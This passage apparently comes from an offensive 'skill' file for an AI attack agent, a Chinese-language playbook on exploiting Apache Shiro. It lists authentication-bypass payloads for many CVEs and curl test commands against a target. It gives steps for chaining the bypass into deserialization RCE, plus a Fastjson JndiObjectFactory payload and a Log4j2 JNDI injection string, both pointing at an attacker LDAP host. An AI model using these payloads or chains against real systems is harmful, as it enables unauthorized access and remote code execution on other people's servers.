| 请求量 | 少量(爆破Key) | 大量(逐字节POA) |
| 利用速度 | 秒级 | 分钟-小时级 |
| 修复版本 | 1.2.5 | 1.4.2 |
| 当前实战价值 | 极高(仍大量存在) | 低(环境多为GCM) |
七、认证绕过系列(CVE-2020-1957 → CVE-2026-56091)
7.1 根因:Shiro与Spring路径解析差异
核心原理:Shiro的过滤器链匹配(AntPathMatcher)与Spring MVC的URL解析对同一请求路径的处理不一致,攻击者构造"Shiro认为无需认证、Spring却路由到受保护资源"的URL。
Shiro处理:WebUtils.getPathWithinApplication → decodeAndCleanUriString(截断分号、规范化../)
Spring处理:UrlPathHelper.removeSemicolonContent(移除分号后内容)→ 路径拼接解析
7.2 各CVE Payload汇总表
| CVE | 影响版本 | Payload | 绕过原理 |
|---|---|---|---|
| CVE-2020-1957 | <1.5.2 | /xxx/..;/admin/ | 分号截断 + ..规范化差异 |
| CVE-2020-11989 | <1.5.3 | /admin/%2Fpage | %2F双编码斜杠(容器解码一层) |
| CVE-2020-11988 | 1957修复变体 | 分号/路径变体组合 | 1957修复不彻底 |
| CVE-2020-13933 | <1.6.0 | /admin/%3Bpage | %3B编码分号绕过过滤 |
| CVE-2020-17510 | <1.7.0 | /admin/%2e%2e/ 等 | %2e点号编码绕过规范化 |
| CVE-2020-17523 | <1.7.1 | /admin/ (末尾空格) | 空格被Shiro去除而Spring保留 |
| CVE-2021-41303 | <1.8.0 | AntPattern差异 | */**匹配语义差异 |
| CVE-2023-22602 | 特定配置 | ?通配符 | Spring AntPathMatcher配置差异 |
| CVE-2023-34478 | <1.12.0 | 路径遍历与API组合 | 非标准化请求路由 |
| CVE-2023-46749 | <1.13.0 | /file/anonUser/..%3b | blockSemicolon=false+path rewriting时尾部..未规范化 |
| CVE-2026-56091 | 全部2.x及3.0.0-alpha-1 | shiro-guice模块分号绕过 | 类似CVE-2020-1957但影响guice集成 |
| CVE-2026-23903 | <2.0.7 | 静态文件大小写变化 | 大小写不敏感文件系统(macOS)绕过小写filter |
7.3 利用场景与验证流程
1. 确认存在Shiro(rememberMe/deleteMe)
2. 确认Shiro与Spring(或其他框架)共同使用
3. 定位受保护路径(如/admin/**=authc)
4. 逐一测试绕过Payload(7.2表),观察是否绕过401/302
5. 绕过认证后 → 配合反序列化RCE(若Key可爆破)或直接攻击业务功能
# 验证CVE-2020-1957(分号绕过)
curl -i http://target/xxx/..;/admin/
# 期望:Shiro不拦截(路径规范化为/xxx),Spring路由到/admin
# 验证CVE-2020-11989(双编码斜杠)
curl -i http://target/admin/%2Fpage
7.4 2026新认证相关漏洞
- CVE-2026-56091:
shiro-guice模块的认证绕过(与CVE-2020-1957同类),影响所有2.x及3.0.0-alpha-1,修复于3.0.0。利用前提:应用使用guice集成Shiro的Servlet过滤器链 - CVE-2026-56130:RememberMe Cookie年龄未在服务端验证——截获的合法Cookie可无限期重放(即使已过配置的过期时间)。影响1.2.4~2.x及3.0.0-alpha-1。攻击价值:与Cookie窃取/会话固定结合,可持久保持"已登录"状态;配合认证绕过可直达敏感功能
- CVE-2026-23901:用户名枚举(时间侧信道)——用户不存在时快速返回,存在时执行密码哈希耗时更长,可通过响应时间统计枚举有效用户名
- CVE-2026-23903:静态文件认证绕过——默认macOS等大小写不敏感文件系统上,
/Admin/xxx可绕过小写/admin/**过滤器(2.0.7引入shiro.caseInsensitive=true配置,3.0.0默认开启)
八、Shiro + 其他组件组合链
8.1 Shiro + Fastjson
场景:业务同时使用Fastjson解析JSON + Shiro做认证。两条利用路径可串联:
路径A:Shiro认证绕过(未授权)→ 直达Fastjson反序列化接口 → RCE
路径B:Shiro Key爆破失败时,转向Fastjson 1.2.83 Gadget-free(jar:协议远程类加载)等
路径C:Shiro依赖中存在fastjson时,Shiro反序列化可用fastjson作为gadget链组件
经典组合Payload思路:
// Shiro反序列化中的TemplatesImpl链可内嵌Fastjson恶意类
// 或Fastjson反序列化触发Shiro JndiObjectFactory(org.apache.shiro.jndi.JndiObjectFactory)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://attacker:1389/exploit"}
8.2 Shiro + Log4j2(CVE-2021-44228组合)
场景:Shiro记录登录日志(用户名/User-Agent等输入进入Log4j2),且目标使用Log4j2 <2.15.0:
1. 认证绕过或正常登录入口提交恶意输入
2. 输入被Shiro审计日志记录 → Log4j2 ${jndi:ldap://attacker/exploit} 触发
3. JNDI注入 → RCE(无需Shiro Key!)
# 在登录用户名/User-Agent注入
username=${jndi:ldap://attacker:1389/Exploit}
# 依赖: 目标Log4j2 2.0-2.14.1 + JDK版本适配
意义:当Shiro Key无法爆破时,Log4j2是绕过rememberMe体系直达RCE的"旁路"。
8.3 Shiro + JNDI生态
Shiro反序列化Gadget链常以JNDI注入为RCE载体(JdbcRowSetImpl等)
JNDI利用链路(2025-2026现状):
RMI: JDK <=8u121 直接利用;更高版本需绕过
LDAP: JDK <=8u191 直接利用;更高版本需Rogue-JNDI/EL表达式绕过
高版本JDK(17+/21+)首选:Tomcat ELProcessor / Groovy / 本地类路径引用
九、Shiro在Spring Boot生态中的实战面
9.1 常见集成形态
| 集成方式 | 特征 | 攻防影响 |
|---|---|---|
shiro-spring-boot-starter | 自动配置过滤器链 | 认证绕过利用面(路径匹配差异) |
传统shiro.ini + ShiroFilterFactoryBean | XML/代码配置 | 规则顺序错误(先配置/**=authc再配白名单)导致绕过 |
shiro-spring + DefaultShiroFilterChainDefinition | Java配置 | 路径规则误配(如/admin未加/**) |
| Shiro + Spring Boot FatJar | java -jar启动 | 影响ClassLoader,进而影响JNDI/BCEL链选型 |
9.2 Spring Boot路径匹配差异(利用点)
# Spring Boot 2.6+默认PathPatternParser vs Shiro的AntPathMatcher
# 关键差异:尾斜杠、分号、双斜杠、URL编码处理
# 常见误配导致绕过:
# 1. 白名单放在黑名单后面(先authc后anon)→ 全部需认证,业务正常但无绕过面
# 2. 规则不闭合:map.put("/admin", "authc") 但访问 /admin/ 或 /admin/xxx 未覆盖
# 3. blockSemicolon关闭 → CVE-2023-46749利用面
9.3 Spring Boot环境实战要点
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 115
- Forks
- 4
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
shiro-exploitation- Source
- github.com/langbyyi/cyberstrikeai-src